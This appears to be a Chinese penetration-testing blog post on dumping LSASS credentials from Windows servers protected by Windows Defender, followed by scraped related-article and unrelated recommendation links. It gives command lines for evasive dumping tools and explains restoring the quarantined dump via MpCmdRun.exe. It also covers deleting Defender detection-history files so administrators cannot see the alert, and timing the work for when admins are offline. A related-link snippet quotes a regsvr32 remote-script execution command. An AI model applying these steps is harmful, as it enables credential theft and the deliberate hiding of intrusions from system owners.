0x00.前言

Windows Defender是一款内置在Windows操作系统的杀毒软件程序,本文旨在记录实战环境中,服务器存在Windows Defender情况下转储凭证的渗透手法,技术简单粗糙,但是有效,各位轻喷,抱拳.jpg

0x01.前提条件

  • 能够落地Dump Lsass的免杀程序,这里推荐DumpMinitool/MalSeclogon(截至发文日期,依然有效)
  • 具有BUILTIN\Administrators权限(当前用户(访问令牌)的组信息),通过whoami /all查看

0x02.记录

上一节已经给出的免杀落地的Dump程序,原理不赘述了,感兴趣的可以自己了解,使用方式如下:

DumpMinitool.exe --file xx.dmp --processId [PID] --dumpType Full
Malseclogon.exe -p [PID] -d 1 -o C:\Users\xix\Desktop\test\xx.dmp

主要分析下在转储凭证过程中Windows Defender防护手段:一是转储的应用程序本身静态指纹,二是Windows Defender监控转储lsass行为是可疑活动,三是转储完成后,Windows Defender会规则匹配可疑文件,在几秒钟后删除转储内容。前两步成败在于Dump Lsass的应用程序,所以找到一个能Dump的免杀程序至关重要。

下面介绍的就是本文核心,针对第三步,如何在webshell或者远控端拿出来我们转储,大致思路是既然Windows Defender隔离该文件且有恢复选项,那么被隔离文件一定还在机器上,但在什么路径/位置不得知,所以我们可以找到被隔离文件的位置或者命令行的恢复方法,在机器上恢复该文件。于是,我查了下微软文档,可以利用MpCmdRun.exe通过命令行方式恢复并信任该类型文件或者指定文件名恢复单一文件。

注:使用MpCmdRun.exe,需要管理员权限(BypassUAC)

Dump Lsass操作

按照文件隔离时匹配的规则恢复被隔离的文件

恢复出来的文件

需要注意的是,转储出来文件时,被识别隔离的过程中,桌面右下角会弹框提示,所以转储凭证的过程最好在管理员不在线的状况下操作。虽然上述过程中,我们得到了转储的凭证,但是Windows Defender的保护历史记录还在,管理员依然可以查看到操作Dump Lsass时的告警信息,查找资料发现,记录以特有格式存储在C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\DetectionHistory目录下(提示:访问及操作该目录需要管理员权限),而且不是按照顺序添加记录的,随机的将记录内容保存在某一个目录文件下,删除目录下的文件,记录也就被清理了。

清理保护历史记录前

清理保护历史记录后

实战中,直接删除目录过于明显。为了操作的隐蔽性,我这里写好一个批处理文件,执行效果是操作前先检查输出一下当前文件夹下文件信息,然后根据当前机器日期遍历所有子目录匹配文件时间戳得到最新文件(即是最新的Defender记录),将其删除后再检查输出文件夹下文件情况。

0x03.总结

以上,在攻击效果上基本可以在Windows Defender防护下无声息的窃取凭证。本文技术原理较为拙劣,仅在个人实用角度出发,总结记录实战思路,如果路过的师傅在实战中有更好的思路或建议,请不吝赐教,多多分享。

Bypass Windows Defender Dump Lsass(手法拙劣)的更多相关文章

  1. regsvr32 bypass windows defender 新思路

    原文链接:blog 在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣. 命令语法如下: regsvr32 /s /n /u /i:http://1 ...

  2. Dump Lsass内存转储新旧方法

      之前看到一篇关于Lsass内存dump的文章,学习记录一下.   lsass.exe(Local Security Authority Subsystem Service)进程空间中,存有着机器的 ...

  3. Windows Server 2016-配置Windows Defender防病毒排除项

    Windows Server 2016 的计算机上的 Windows Defender 防病毒自动注册你在某些排除项,由你指定的服务器角色定义. 这些排除项不会显示在Windows 安全中心应用中所示 ...

  4. Windows Defender无法开启问题

    针对Win8及以上系统: 按Win+R键,输入services.msc,下滑找到以W开头的Windows Defender相关项,右键在属性中设为自动并开启. (若1无法解决)按Win+R键,输入re ...

  5. 关闭Win10自带的 Windows Defender

    1.按下Win+R,输入gpedit.msc 2.进入组策略,选择计算机配置>管理模板>Windows 组件>Windows Defender 3.双击"关闭 Window ...

  6. Win10如何隐藏Windows Defender任务栏图标

    导读 Windows 10 至发布以来就内置集成了 Windows Defender 安全防护应用,但有许多用户平常压根儿就没注意到它的存在.微软为了使安全防护功能更加明显,Windows 10 周年 ...

  7. 开源软件free download manager在windows defender中报毒

    从官网上下载的fdm lite 3.9.6,从图片中可以看出安装包有数字签名,windows defender报毒,在线杀毒也检出木马,官网的程序更新到了3.9.6版本,在sourceforge上的源 ...

  8. 如何彻底关闭windows defender

    我是一个喜欢裸奔的人,我不喜欢使用那些安全软件,什么360啊,什么毒霸啊让我深恶痛绝,就连windows自带的杀软我都不能忍啊,因为我平时喜欢找一下软件,很多的补丁和注册机,这些安全软件都会误报,所以 ...

  9. Windows Defender Service 是选择Windows 10系统的最大障碍!

    今天从早上开始,Windows Defender Service服务从CPU消耗资源30%一直上升到60%并且无法下降. 我一直使用的是Windows 10 Enterprise 2016长期服务支持 ...

随机推荐

  1. mybatis转义反斜杠_MyBatis Plus like模糊查询特殊字符_、\、%

    在MyBatis Plus中,使用like查询特殊字符_,\,%时会出现以下情况: 1.查询下划线_,sql语句会变为"%_%",会导致返回所有结果.在MySQL中下划线" ...

  2. NC207028 第k小数

    NC207028 第k小数 题目 题目描述 给你一个长度为 \(n\) 的序列,求序列中第 \(k\) 小数的多少. 输入描述 多组输入,第一行读入一个整数 \(T\) 表示有 \(T\) 组数据. ...

  3. 从 1.5 开始搭建一个微服务框架——日志追踪 traceId

    你好,我是悟空. 前言 最近在搭一个基础版的项目框架,基于 SpringCloud 微服务框架. 如果把 SpringCloud 这个框架当做 1,那么现在已经有的基础组件比如 swagger/log ...

  4. shell脚本语句

    条件语句 1.if语句 语法格式: if [ expression ] then 命令 elif [ expression ] then 命令 -- else 命令 fi if语句有单分支结构,双分支 ...

  5. App Inventor拓展项目——钢琴游戏

    本以为安卓只能写代码开发呢,结果安卓课程是这样一个图形化的开发方式,趣味性强一些吧.这里记录一下自己根据学习内容拓展的这个钢琴游戏. 先简要介绍一下 Android应用开发者(英语:App Inven ...

  6. redis集群的三种方式

    Redis三种集群方式:主从复制,哨兵模式,Cluster集群. 主从复制 基本原理 当新建立一个从服务器时,从服务器将向主服务器发送SYNC命令,接收到SYNC命令后的主服务器会进行一次BGSAVE ...

  7. python 面向对象理解

    简介 与java语言一样,python也属于面向对象编程,除此之外,还有面向过程编程.函数式编程. 面向过程编程:依据业务逻辑自上而下一步一步编写, 可能会存在冗余现象 函数式编程:需要编程语言可以将 ...

  8. 11中javascrip教程教不到的小技巧

    1.过滤唯一值 Set对象类型是在ES6中引入的,配合展开操作...一起,我们可以使用它来创建一个新数组,该数组只有唯一的值. 1 const array = [1, 1, 2, 3, 5, 5, 1 ...

  9. 巧用Prometheus来扩展kubernetes调度器

    Overview 本文将深入讲解 如何扩展 Kubernetes scheduler 中各个扩展点如何使用,与扩展scheduler的原理,这些是作为扩展 scheduler 的所需的知识点.最后会完 ...

  10. js中数组去重的方法

    在实际工作或面试中,我们经常会遇到"数组去重"问题,接下来就是使用js实现的数组去重的多种方法: 1.借助ES6提供的Set结构 var arr = [1,1,2,2,3,3,4, ...